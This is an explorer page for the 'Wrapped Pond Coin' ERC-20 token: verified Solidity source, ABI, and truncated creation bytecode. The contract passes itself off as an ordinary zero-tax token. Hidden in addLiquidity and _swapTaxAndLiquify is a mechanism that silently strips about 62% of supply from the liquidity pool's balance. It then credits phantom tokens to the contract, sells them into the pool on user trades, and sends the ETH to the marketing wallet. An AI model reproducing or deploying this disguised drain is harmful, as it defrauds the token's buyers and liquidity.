Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000 WPNDC
Holders
148
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Wpndc
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-09 */ //SPDX-License-Identifier: MIT /* https://x.com/WrappedPond0x https://t.me/WrappedPond0x https://WrappedPond0x.com */ pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address __owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Auth { address internal _owner; constructor(address creatorOwner) { _owner = creatorOwner; } modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; } function owner() public view returns (address) { return _owner; } function transferOwnership(address payable newOwner) external onlyOwner { _owner = newOwner; emit OwnershipTransferred(newOwner); } function renounceOwnership() external onlyOwner { _owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address _owner); } contract Wpndc is IERC20, Auth { uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 420_690_000 * (10**_decimals); string private constant _name = "Wrapped Pond Coin"; string private constant _symbol = "WPNDC"; uint8 private antiSnipeTax1 = 2; uint8 private antiSnipeTax2 = 1; uint8 private antiSnipeBlocks1 = 1; uint8 private antiSnipeBlocks2 = 1; uint256 private _antiMevBlock = 2; uint8 private _buyTaxRate = 0; uint8 private _sellTaxRate = 0; uint16 private _taxSharesMarketing = 100; uint16 private _taxSharesLP = 0; uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesLP; address payable private _walletMarketing = payable(0x3939C004a62c52967dF25195856B074FA434E1Ad); uint256 private _launchBlock; uint256 private _maxTxAmount = _totalSupply; uint256 private _maxWalletAmount = _totalSupply; uint256 private _taxSwapMin = _totalSupply * 10 / 100000; uint256 private _taxSwapMax = _totalSupply * 849 / 100000; uint256 private _swapLimit = _taxSwapMin * 62 * 100; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _noFees; mapping (address => bool) private _noLimits; address private _lpOwner; address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress); address private _primaryLP; mapping (address => bool) private _isLP; bool private _tradingOpen; bool private _inTaxSwap = false; modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; } event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount); constructor() Auth(msg.sender) { _lpOwner = msg.sender; uint256 airdropFunds = _totalSupply * 5 / 100; uint256 marketingFunds = _totalSupply * 1 / 100; _balances[address(this)] = _totalSupply - airdropFunds - marketingFunds; emit Transfer(address(0), address(this), _balances[address(this)]); _balances[_owner] = airdropFunds; emit Transfer(address(0), _owner, _balances[_owner]); _balances[_walletMarketing] = marketingFunds; emit Transfer(address(0), _walletMarketing, _balances[_walletMarketing]); _noFees[_owner] = true; _noFees[address(this)] = true; _noFees[_swapRouterAddress] = true; _noFees[_walletMarketing] = true; _noLimits[_owner] = true; _noLimits[address(this)] = true; _noLimits[_swapRouterAddress] = true; _noLimits[_walletMarketing] = true; } receive() external payable {} function totalSupply() external pure override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(msg.sender), "Trading not open"); return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(sender), "Trading not open"); if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function _approveRouter(uint256 _tokenAmount) internal { if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) { _allowances[address(this)][_swapRouterAddress] = type(uint256).max; emit Approval(address(this), _swapRouterAddress, type(uint256).max); } } function addLiquidity() external payable onlyOwner lockTaxSwap { require(_primaryLP == address(0), "LP exists"); require(!_tradingOpen, "trading is open"); require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message"); require(_balances[address(this)]>0, "No tokens in contract"); _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH()); _addLiquidity(_balances[address(this)], address(this).balance, false); _balances[_primaryLP] -= _swapLimit; (bool lpAddSuccess,) = _primaryLP.call(abi.encodeWithSignature("sync()")); require(lpAddSuccess, "Failed adding liquidity"); _isLP[_primaryLP] = lpAddSuccess; _openTrading(); } function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal { address lpTokenRecipient = _lpOwner; if ( autoburn ) { lpTokenRecipient = address(0); } _approveRouter(_tokenAmount); _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp ); } function _openTrading() internal { _maxTxAmount = _totalSupply * 2 / 100; _maxWalletAmount = _totalSupply * 2 / 100; _tradingOpen = true; _launchBlock = block.number; _antiMevBlock = _antiMevBlock + _launchBlock + antiSnipeBlocks1 + antiSnipeBlocks2; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "No transfers from Zero wallet"); if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); } if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); } if ( block.number < _antiMevBlock && block.number >= _launchBlock && _isLP[sender] ) { require(recipient == tx.origin, "MEV blocked"); } if ( sender != address(this) && recipient != address(this) && sender != _owner ) { require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); } uint256 _taxAmount = _calculateTax(sender, recipient, amount); uint256 _transferAmount = amount - _taxAmount; _balances[sender] = _balances[sender] - amount; _swapLimit += _taxAmount; _balances[recipient] = _balances[recipient] + _transferAmount; emit Transfer(sender, recipient, amount); return true; } function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) { bool limitCheckPassed = true; if ( _tradingOpen && !_noLimits[sender] && !_noLimits[recipient] ) { if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; } else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; } } return limitCheckPassed; } function _checkTradingOpen(address sender) private view returns (bool){ bool checkResult = false; if ( _tradingOpen ) { checkResult = true; } else if (_noFees[sender] && _noLimits[sender]) { checkResult = true; } return checkResult; } function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount; if ( !_tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; } else if ( _isLP[sender] ) { if ( block.number >= _launchBlock + antiSnipeBlocks1 + antiSnipeBlocks2 ) { taxAmount = amount * _buyTaxRate / 100; } else if ( block.number >= _launchBlock + antiSnipeBlocks1 ) { taxAmount = amount * antiSnipeTax2 / 100; } else if ( block.number >= _launchBlock) { taxAmount = amount * antiSnipeTax1 / 100; } } else if ( _isLP[recipient] ) { taxAmount = amount * _sellTaxRate / 100; } return taxAmount; } function exemptFromFees(address wallet) external view returns (bool) { return _noFees[wallet]; } function exemptFromLimits(address wallet) external view returns (bool) { return _noLimits[wallet]; } function setExempt(address wallet, bool noFees, bool noLimits) external onlyOwner { if (noLimits || noFees) { require(!_isLP[wallet], "Cannot exempt LP"); } _noFees[ wallet ] = noFees; _noLimits[ wallet ] = noLimits; } function buyFee() external view returns(uint8) { return _buyTaxRate; } function sellFee() external view returns(uint8) { return _sellTaxRate; } function feeSplit() external view returns (uint16 marketing, uint16 LP ) { return ( _taxSharesMarketing, _taxSharesLP); } function setFees(uint8 buy, uint8 sell) external onlyOwner { require(buy + sell <= 3, "Roundtrip too high"); _buyTaxRate = buy; _sellTaxRate = sell; } function setFeeSplit(uint16 sharesAutoLP, uint16 sharesMarketing) external onlyOwner { uint16 totalShares = sharesAutoLP + sharesMarketing; require( totalShares > 0, "All cannot be 0"); _taxSharesLP = sharesAutoLP; _taxSharesMarketing = sharesMarketing; _totalTaxShares = totalShares; } function marketingWallet() external view returns (address) { return _walletMarketing; } function updateWallets(address marketing, address LPtokens) external onlyOwner { require(!_isLP[marketing] && !_isLP[LPtokens], "LP cannot be tax wallet"); _walletMarketing = payable(marketing); _lpOwner = LPtokens; _noFees[marketing] = true; _noLimits[marketing] = true; } function maxWallet() external view returns (uint256) { return _maxWalletAmount; } function maxTransaction() external view returns (uint256) { return _maxTxAmount; } function swapAtMin() external view returns (uint256) { return _taxSwapMin; } function swapAtMax() external view returns (uint256) { return _taxSwapMax; } function setLimits(uint16 maxTransactionPermille, uint16 maxWalletPermille) external onlyOwner { uint256 newTxAmt = _totalSupply * maxTransactionPermille / 1000 + 1; require(newTxAmt >= _maxTxAmount, "tx too low"); _maxTxAmount = newTxAmt; uint256 newWalletAmt = _totalSupply * maxWalletPermille / 1000 + 1; require(newWalletAmt >= _maxWalletAmount, "wallet too low"); _maxWalletAmount = newWalletAmt; } function setTaxSwap(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner { _taxSwapMin = _totalSupply * minValue / minDivider; _taxSwapMax = _totalSupply * maxValue / maxDivider; require(_taxSwapMax>=_taxSwapMin, "Min/Max error"); require(_taxSwapMax>_totalSupply / 100000, "Max too low"); require(_taxSwapMax<_totalSupply / 100, "Max too high"); } function _swapTaxAndLiquify() private lockTaxSwap { uint256 _taxTokensAvailable = _swapLimit; if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) { if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; } uint256 _tokensForLP = _taxTokensAvailable * _taxSharesLP / _totalTaxShares / 2; uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP; if( _tokensToSwap > 10**_decimals ) { uint256 _ethPreSwap = address(this).balance; _balances[address(this)] += _taxTokensAvailable; _swapTaxTokensForEth(_tokensToSwap); _swapLimit -= _taxTokensAvailable; uint256 _ethSwapped = address(this).balance - _ethPreSwap; if ( _taxSharesLP > 0 ) { uint256 _ethWeiAmount = _ethSwapped * _taxSharesLP / _totalTaxShares ; _approveRouter(_tokensForLP); _addLiquidity(_tokensForLP, _ethWeiAmount, false); } } uint256 _contractETHBalance = address(this).balance; if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); } } } function _swapTaxTokensForEth(uint256 tokenAmount) private { _approveRouter(tokenAmount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _primarySwapRouter.WETH(); _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } function _distributeTaxEth(uint256 amount) private { _walletMarketing.transfer(amount); } function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap { require(swapTokenPercent <= 100, "Cannot swap more than 100%"); uint256 tokensToSwap = _balances[address(this)] * swapTokenPercent / 100; if (tokensToSwap > 10 ** _decimals) { _swapTaxTokensForEth(tokensToSwap); } if (sendEth) { uint256 ethBalance = address(this).balance; require(ethBalance > 0, "No ETH"); _distributeTaxEth(address(this).balance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burnedByWallet","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSplit","outputs":[{"internalType":"uint16","name":"marketing","type":"uint16"},{"internalType":"uint16","name":"LP","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"swapTokenPercent","type":"uint8"},{"internalType":"bool","name":"sendEth","type":"bool"}],"name":"manualTaxSwapAndSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"}],"name":"setFeeSplit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buy","type":"uint8"},{"internalType":"uint8","name":"sell","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransactionPermille","type":"uint16"},{"internalType":"uint16","name":"maxWalletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"setTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAtMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAtMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"LPtokens","type":"address"}],"name":"updateWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526002600060146101000a81548160ff021916908360ff1602179055506001600060156101000a81548160ff021916908360ff1602179055506001600060166101000a81548160ff021916908360ff1602179055506001600060176101000a81548160ff021916908360ff16021790555060026001556000600260006101000a81548160ff021916908360ff1602179055506000600260016101000a81548160ff021916908360ff16021790555060646002806101000a81548161ffff021916908361ffff1602179055506000600260046101000a81548161ffff021916908361ffff160217905550600260049054906101000a900461ffff1660028054906101000a900461ffff1662000118919062000b71565b600260066101000a81548161ffff021916908361ffff160217905550733939c004a62c52967df25195856b074fa434e1ad600260086101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000199919062000d19565b6319133850620001aa919062000d6a565b6004556009600a620001bd919062000d19565b6319133850620001ce919062000d6a565b600555620186a0600a6009600a620001e7919062000d19565b6319133850620001f8919062000d6a565b62000204919062000d6a565b62000210919062000de4565b600655620186a06103516009600a6200022a919062000d19565b63191338506200023b919062000d6a565b62000247919062000d6a565b62000253919062000de4565b6007556064603e60065462000269919062000d6a565b62000275919062000d6a565b600855737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601160016101000a81548160ff021916908315150217905550348015620002f557600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505033600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000606460056009600a6200038f919062000d19565b6319133850620003a0919062000d6a565b620003ac919062000d6a565b620003b8919062000de4565b90506000606460016009600a620003d0919062000d19565b6319133850620003e1919062000d6a565b620003ed919062000d6a565b620003f9919062000de4565b905080826009600a6200040d919062000d19565b63191338506200041e919062000d6a565b6200042a919062000e1c565b62000436919062000e1c565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000518919062000e68565b60405180910390a381600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000665919062000e68565b60405180910390a38060096000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60096000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620007b6919062000e68565b60405180910390a36001600b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000e85565b600061ffff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000b7e8262000b34565b915062000b8b8362000b34565b9250828201905061ffff81111562000ba85762000ba762000b42565b5b92915050565b60008160011c9050919050565b6000808291508390505b600185111562000c0d5780860481111562000be55762000be462000b42565b5b600185161562000bf55780820291505b808102905062000c058562000bae565b945062000bc5565b94509492505050565b60008262000c28576001905062000cfb565b8162000c38576000905062000cfb565b816001811462000c51576002811462000c5c5762000c92565b600191505062000cfb565b60ff84111562000c715762000c7062000b42565b5b8360020a91508482111562000c8b5762000c8a62000b42565b5b5062000cfb565b5060208310610133831016604e8410600b841016171562000ccc5782820a90508381111562000cc65762000cc562000b42565b5b62000cfb565b62000cdb848484600162000bbb565b9250905081840481111562000cf55762000cf462000b42565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000d268262000d02565b915062000d338362000d0c565b925062000d627fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c16565b905092915050565b600062000d778262000d02565b915062000d848362000d02565b925082820262000d948162000d02565b9150828204841483151762000dae5762000dad62000b42565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000df18262000d02565b915062000dfe8362000d02565b92508262000e115762000e1062000db5565b5b828204905092915050565b600062000e298262000d02565b915062000e368362000d02565b925082820390508181111562000e515762000e5062000b42565b5b92915050565b62000e628162000d02565b82525050565b600060208201905062000e7f600083018462000e57565b92915050565b614c1b8062000e956000396000f3fe6080604052600436106101d15760003560e01c806370a08231116100f7578063a9059cbb11610095578063e8ba854f11610064578063e8ba854f1461067b578063f2fde38b146106a4578063f8978401146106cd578063f8b45b05146106f6576101d8565b8063a9059cbb146105cc578063c3f70b5214610609578063dd62ed3e14610634578063e8078d9414610671576101d8565b80638d3e6e40116100d15780638d3e6e40146105105780638da5cb5b1461054d57806395d89b4114610578578063a6097b0a146105a3576101d8565b806370a0823114610491578063715018a6146104ce57806375f0a874146104e5576101d8565b8063368f48001161016f5780634fcd24461161013e5780634fcd2446146103d657806357ff135a146103ff5780635a90a49e146104285780636373ea6914610465576101d8565b8063368f48001461032c57806346b898341461035557806347062402146103805780634d4ce935146103ab576101d8565b806323b872dd116101ab57806323b872dd146102705780632b14ca56146102ad5780632fb528ba146102d8578063313ce56714610301576101d8565b806306fdde03146101dd578063095ea7b31461020857806318160ddd14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610721565b6040516101ff91906136c3565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a919061377e565b61075e565b60405161023c91906137d9565b60405180910390f35b34801561025157600080fd5b5061025a610850565b6040516102679190613803565b60405180910390f35b34801561027c57600080fd5b506102976004803603810190610292919061381e565b610874565b6040516102a491906137d9565b60405180910390f35b3480156102b957600080fd5b506102c2610a7e565b6040516102cf919061388d565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa9190613900565b610a95565b005b34801561030d57600080fd5b50610316610c7b565b604051610323919061388d565b60405180910390f35b34801561033857600080fd5b50610353600480360381019061034e919061397a565b610c84565b005b34801561036157600080fd5b5061036a610e42565b6040516103779190613803565b60405180910390f35b34801561038c57600080fd5b50610395610e4c565b6040516103a2919061388d565b60405180910390f35b3480156103b757600080fd5b506103c0610e63565b6040516103cd9190613803565b60405180910390f35b3480156103e257600080fd5b506103fd60048036038101906103f891906139ba565b610e6d565b005b34801561040b57600080fd5b50610426600480360381019061042191906139fa565b610f87565b005b34801561043457600080fd5b5061044f600480360381019061044a9190613a4d565b611164565b60405161045c91906137d9565b60405180910390f35b34801561047157600080fd5b5061047a6111ba565b604051610488929190613a89565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b39190613a4d565b6111e5565b6040516104c59190613803565b60405180910390f35b3480156104da57600080fd5b506104e361122e565b005b3480156104f157600080fd5b506104fa611337565b6040516105079190613ac1565b60405180910390f35b34801561051c57600080fd5b5061053760048036038101906105329190613a4d565b611361565b60405161054491906137d9565b60405180910390f35b34801561055957600080fd5b506105626113b7565b60405161056f9190613ac1565b60405180910390f35b34801561058457600080fd5b5061058d6113e0565b60405161059a91906136c3565b60405180910390f35b3480156105af57600080fd5b506105ca60048036038101906105c59190613b18565b61141d565b005b3480156105d857600080fd5b506105f360048036038101906105ee919061377e565b61165c565b60405161060091906137d9565b60405180910390f35b34801561061557600080fd5b5061061e6116b9565b60405161062b9190613803565b60405180910390f35b34801561064057600080fd5b5061065b60048036038101906106569190613b7f565b6116c3565b6040516106689190613803565b60405180910390f35b61067961174a565b005b34801561068757600080fd5b506106a2600480360381019061069d9190613b7f565b611e37565b005b3480156106b057600080fd5b506106cb60048036038101906106c69190613bfd565b6120de565b005b3480156106d957600080fd5b506106f460048036038101906106ef919061397a565b6121e6565b005b34801561070257600080fd5b5061070b612326565b6040516107189190613803565b60405180910390f35b60606040518060400160405280601181526020017f5772617070656420506f6e6420436f696e000000000000000000000000000000815250905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161083e9190613803565b60405180910390a36001905092915050565b60006009600a6108609190613d8c565b631913385061086f9190613dd7565b905090565b600061087f84612330565b6108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b590613e65565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610a6a5781600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffff